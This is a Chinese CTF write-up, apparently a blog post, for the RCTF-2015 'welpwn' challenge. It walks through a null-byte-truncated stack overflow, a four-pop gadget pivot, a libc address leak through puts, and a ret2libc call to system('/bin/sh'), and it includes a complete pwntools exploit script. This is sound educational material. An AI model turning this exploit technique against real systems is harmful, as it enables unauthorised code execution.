搬运3:welpwnctf题目
记录一道自己做的ctf题目:welpwn
--RCTF-2015
1.老生常谈checksec查看:
可以看到只开了nx保护,下面我们进入ida下面看看。
发现是一个想rbp-400,rsp+0h的地方read进入恰好0x400的数据,然后调用了echo函数,我们进入echo看看。
发现了一个简化版的strcpy函数,第一反应溢出溢出!但是这里由于在复制过程中遇到’0x00‘会被截断,所以64位下我们打包的p64(pop_rdi)+p64(binsh_addr)+p64(system)可能复制不到一半就胎死腹中了。
所以我们不能直接复制,另外我们想到,如果echo函数里面发生溢出的话,很有可能回合main函数里面的buf首尾相接,我们进入gdb里面看看,随便画一幅图。
进入gdb的echo那里看看stack的情况
输入超过24个a来覆盖掉s2。
这个时候还没有进行for循环呢,我们可以看到rsp-0x20,然后rbp的位置,以及返回地址后面紧跟着的我们输入buf里面的内容,下面我们执行循环
可以看到输入的字符如果足够的的话是完全可以覆盖掉,并且和rbp相接到的
这里我们画出图来看看,所以重点是我们应该如何使用这里的跳转,并且在跳转之后还有我们前面补充的垃圾数据。(ps:在写到这里的时候我有了一个思路就是如何把前面的jink数据加以利用,但是感觉还是难),
我们可以使用四次pop指令一次pop出8个字节的数据,直接pop到我们秀的地方,而这里已经到我们的buf这里了,我们不用受到被’\x00‘截断的限制了,就是用
ret2libc,去找出偏移
exp如下:
from pwn import *#我因为没有下载libcseracher所以加载的是本地libc库,各位 context.log_level = 'debug' libca=ELF("/lib/x86_64-linux-gnu/libc.so.6") e=ELF("./welpwn") pop_24=0x40089c//使用ROPgadget --binary ./welpwn --only 'pop|ret'找到的 pop_rdi=0x4008a3 write_got=e.got["write"] puts=e.plt["puts"] p=process("./welpwn") payload='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(write_got)+p64(puts)+p64(0x400630) p.recvuntil("Welcome to RCTF\n") p.sendline(payload) p.recvuntil('\x40') #在0x40这里截止是因为我们受到的数据会包含s2的jink数 #据,而我们的0x40恰好是我们输入进去pop_rdi这里的p64打包之后倒序的最后一 #位,所以在这里截止 write_addr = u64(p.recv(6).ljust(8,'\x00'))#读取6字节并且补充我们前导\x00记得补充要在u64解包反倒序之前 print '--'+hex(write_addr) libc_base=write_addr-libca.symbols['write'] system_add=libc_base+libca.symbols["system"]#在使用libcseracher下我们要用libca.dump,因为没有使用使用symbols binsh_addr = libc_base + libca.search("/bin/sh").next() payloado='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(binsh_addr)+p64(system_add) p.recvuntil("Welcome to RCTF\n") p.sendline(payloado) p.interactive()
找到我们debug过程中的图来看看:
另外附上一篇比我更详细的博客:https://www.cnblogs.com/wangaohui/p/5123992.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】凌霞软件回馈社区,携手博客园推出1Panel与Halo联合会员
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步